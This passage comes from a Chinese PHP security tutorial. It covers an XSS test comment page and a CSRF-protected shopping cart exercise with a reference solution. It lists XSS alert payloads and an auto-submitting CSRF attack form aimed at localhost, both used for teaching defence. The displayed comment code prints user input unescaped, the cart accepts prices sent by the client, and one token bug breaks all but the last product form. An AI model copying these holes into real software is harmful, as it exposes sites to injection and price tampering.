        <button type="submit">提交评论</button>
    </form>
    
    <h2>评论列表</h2>
    
    <?php if (empty($comments)): ?>
        <p>暂无评论</p>
    <?php else: ?>
        <?php foreach ($comments as $c): ?>
            <div class="comment">
                <strong><?php echo $c['author']; ?></strong>
                <small><?php echo $c['timestamp']; ?></small>
                <p><?php echo $c['comment']; ?></p>
            </div>
        <?php endforeach; ?>
    <?php endif; ?>
    
    <h3>XSS测试</h3>
    <div class="danger">
        <p>尝试提交以下内容测试XSS防护:</p>
        <ul>
            <li>&lt;script&gt;alert('XSS')&lt;/script&gt;</li>
            <li>&lt;img src="x" onerror="alert(1)"&gt;</li>
            <li>&lt;a href="javascript:alert(1)"&gt;点击我&lt;/a&gt;</li>
        </ul>
        <p>注意:安全防护后的效果</p>
    </div>
</body>
</html>

进阶练习题

练习3:实现CSRF防护的购物车系统

题目

设计一个简单的购物车系统,要求:

  1. 用户可以添加商品到购物车
  2. 用户可以查看购物车并结算
  3. 结算表单必须包含CSRF防护
  4. 实现一次性CSRF令牌,使用后失效
  5. 添加令牌过期时间验证(5分钟过期)
    难度等级 :★★★☆☆(进阶)
    解题提示
  • 使用Session存储CSRF令牌
  • 每个表单使用唯一的令牌标识
  • 验证令牌后从Session中移除
  • 考虑令牌的过期时间
    参考答案
php 复制代码
<?php
session_start();

class ShoppingCart {
    private $csrfTokens = [];
    
    public function __construct() {
        if (!isset($_SESSION['cart'])) {
            $_SESSION['cart'] = [];
        }
        if (!isset($_SESSION['csrf_tokens'])) {
            $_SESSION['csrf_tokens'] = [];
        }
        $this->csrfTokens = &$_SESSION['csrf_tokens'];
    }
    
    // 生成CSRF令牌
public function generateCsrfToken($formId) {
        $token = bin2hex(random_bytes(32));
        $this->csrfTokens[$formId] = [
            'token' => $token,
            'hash' => hash('sha256', $token),
            'created' => time(),
            'expires' => time() + 300 // 5分钟过期
];
        $this->cleanupExpiredTokens();
        return $token;
    }
    
    // 验证CSRF令牌
public function validateCsrfToken($formId, $inputToken) {
        if (!isset($this->csrfTokens[$formId]) || empty($inputToken)) {
            return false;
        }
        
        $storedToken = $this->csrfTokens[$formId];
        
        // 检查是否过期
if (time() > $storedToken['expires']) {
            unset($this->csrfTokens[$formId]);
            return false;
        }
        
        // 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $inputToken));
        
        // 使用后删除(一次性令牌)
if ($isValid) {
            unset($this->csrfTokens[$formId]);
        }
        
        return $isValid;
    }
    
    // 清理过期令牌
private function cleanupExpiredTokens() {
        foreach ($this->csrfTokens as $formId => $tokenData) {
            if (time() > $tokenData['expires']) {
                unset($this->csrfTokens[$formId]);
            }
        }
    }
    
    // 添加商品到购物车
public function addToCart($productId, $productName, $price, $quantity = 1) {
        if (!isset($_SESSION['cart'][$productId])) {
            $_SESSION['cart'][$productId] = [
                'name' => $productName,
                'price' => $price,
                'quantity' => $quantity
            ];
        } else {
            $_SESSION['cart'][$productId]['quantity'] += $quantity;
        }
    }
    
    // 获取购物车总价
public function getTotal() {
        $total = 0;
        foreach ($_SESSION['cart'] as $item) {
            $total += $item['price'] * $item['quantity'];
        }
        return $total;
    }
    
    // 结算购物车
public function checkout() {
        // 这里应该处理支付逻辑
$_SESSION['cart'] = []; // 清空购物车
return true;
    }
}

// 使用示例
$cart = new ShoppingCart();

// 处理添加商品请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['add_to_cart'])) {
    if (!$cart->validateCsrfToken('add_item', $_POST['csrf_token'] ?? '')) {
        die('CSRF令牌验证失败!');
    }
    
    $cart->addToCart(
        $_POST['product_id'],
        $_POST['product_name'],
        $_POST['price'],
        $_POST['quantity'] ?? 1
    );
}

// 处理结算请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['checkout'])) {
    if (!$cart->validateCsrfToken('checkout', $_POST['csrf_token'] ?? '')) {
        die('CSRF令牌验证失败!');
    }
    
    if ($cart->checkout()) {
        $message = "结算成功!";
    }
}

// 商品列表
$products = [
    1 => ['name' => 'PHP编程书', 'price' => 69.99],
    2 => ['name' => 'Web安全指南', 'price' => 89.99],
    3 => ['name' => '数据库设计', 'price' => 79.99],
];
?>

<!DOCTYPE html>
<html>
<head>
    <title>购物车系统</title>
    <style>
        body { font-family: Arial; max-width: 800px; margin: 0 auto; padding: 20px; }
        .products, .cart { border: 1px solid #ccc; padding: 20px; margin: 20px 0; }
        .product { border-bottom: 1px solid #eee; padding: 10px 0; }
        .error { color: red; }
        .success { color: green; }
    </style>
</head>
<body>
    <h1>购物车系统</h1>
    
    <?php if (isset($message)): ?>
        <div class="success"><?php echo htmlspecialchars($message); ?></div>
    <?php endif; ?>
    
    <div class="products">
        <h2>商品列表</h2>
        <?php foreach ($products as $id => $product): ?>
            <div class="product">
                <h3><?php echo htmlspecialchars($product['name']); ?></h3>
                <p>价格: ¥<?php echo number_format($product['price'], 2); ?></p>
                <form method="POST">
                    <input type="hidden" name="csrf_token" 
                           value="<?php echo $cart->generateCsrfToken('add_item'); ?>">
                    <input type="hidden" name="product_id" value="<?php echo $id; ?>">
                    <input type="hidden" name="product_name" value="<?php echo htmlspecialchars($product['name']); ?>">
                    <input type="hidden" name="price" value="<?php echo $product['price']; ?>">
                    <input type="number" name="quantity" value="1" min="1" style="width: 60px;">
                    <button type="submit" name="add_to_cart">加入购物车</button>
                </form>
            </div>
        <?php endforeach; ?>
    </div>
    
    <div class="cart">
        <h2>购物车</h2>
        <?php if (empty($_SESSION['cart'])): ?>
            <p>购物车为空</p>
        <?php else: ?>
            <table border="1" cellpadding="10" cellspacing="0" style="width:100%">
                <tr>
                    <th>商品名称</th>
                    <th>单价</th>
                    <th>数量</th>
                    <th>小计</th>
                </tr>
                <?php $total = 0; ?>
                <?php foreach ($_SESSION['cart'] as $item): ?>
                    <tr>
                        <td><?php echo htmlspecialchars($item['name']); ?></td>
                        <td>¥<?php echo number_format($item['price'], 2); ?></td>
                        <td><?php echo $item['quantity']; ?></td>
                        <td>¥<?php echo number_format($item['price'] * $item['quantity'], 2); ?></td>
                    </tr>
                    <?php $total += $item['price'] * $item['quantity']; ?>
                <?php endforeach; ?>
                <tr>
                    <td colspan="3" align="right"><strong>总计:</strong></td>
                    <td><strong>¥<?php echo number_format($total, 2); ?></strong></td>
                </tr>
            </table>
            
            <form method="POST" style="margin-top: 20px;">
                <input type="hidden" name="csrf_token" 
                       value="<?php echo $cart->generateCsrfToken('checkout'); ?>">
                <button type="submit" name="checkout">结算购物车</button>
            </form>
        <?php endif; ?>
    </div>
    
    <div class="csrf-test">
        <h3>CSRF攻击测试</h3>
        <p>尝试在另一个页面提交以下表单:</p>
        <pre>
&lt;form action="http:// localhost/cart.php" method="POST" id="attack"&gt;
    &lt;input type="hidden" name="product_id" value="1"&gt;
    &lt;input type="hidden" name="product_name" value="免费商品"&gt;
    &lt;input type="hidden" name="price" value="0"&gt;
    &lt;input type="hidden" name="quantity" value="100"&gt;
    &lt;input type="hidden" name="add_to_cart" value="1"&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('attack').submit();&lt;/script&gt;
        </pre>
        <p>由于CSRF防护,这个攻击会失败</p>
    </div>
</body>
</html>
相关推荐
霸王大陆2 小时前
《零基础学PHP:从入门到实战》教程-模块七:MySQL 数据库基础-5
数据库·mysql·php
进击的荆棘2 小时前
C++起始之路——类和对象(上)
开发语言·c++
老朱佩琪!2 小时前
在Unity中实现状态机设计模式
开发语言·unity·设计模式
FuckPatience2 小时前
C# BinarySearch 的返回值
开发语言·数据结构·c#
尼古拉斯·纯情暖男·天真·阿玮2 小时前
[JavaEE初阶] 进程和线程的区别和联系
java·开发语言
沐知全栈开发2 小时前
TypeScript Array(数组)
开发语言
陶陶name2 小时前
Metal Compute Pipeline:Metal-C++ 环境配置与简单算子实现
开发语言·c++
认真敲代码的小火龙2 小时前
【JAVA项目】基于JAVA的宿舍管理系统
java·开发语言·课程设计
无限进步_2 小时前
寻找数组中缺失数字:多种算法详解与比较
c语言·开发语言·数据结构·算法·排序算法·visual studio